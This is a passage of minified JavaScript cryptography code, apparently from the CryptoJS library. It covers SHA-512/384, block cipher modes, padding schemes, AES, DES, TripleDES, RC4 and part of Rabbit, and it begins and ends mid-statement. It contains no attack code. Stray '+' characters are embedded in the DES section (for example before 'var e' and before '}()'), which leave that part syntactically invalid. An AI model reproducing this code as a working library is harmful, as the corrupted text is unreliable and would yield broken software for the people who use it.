O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], 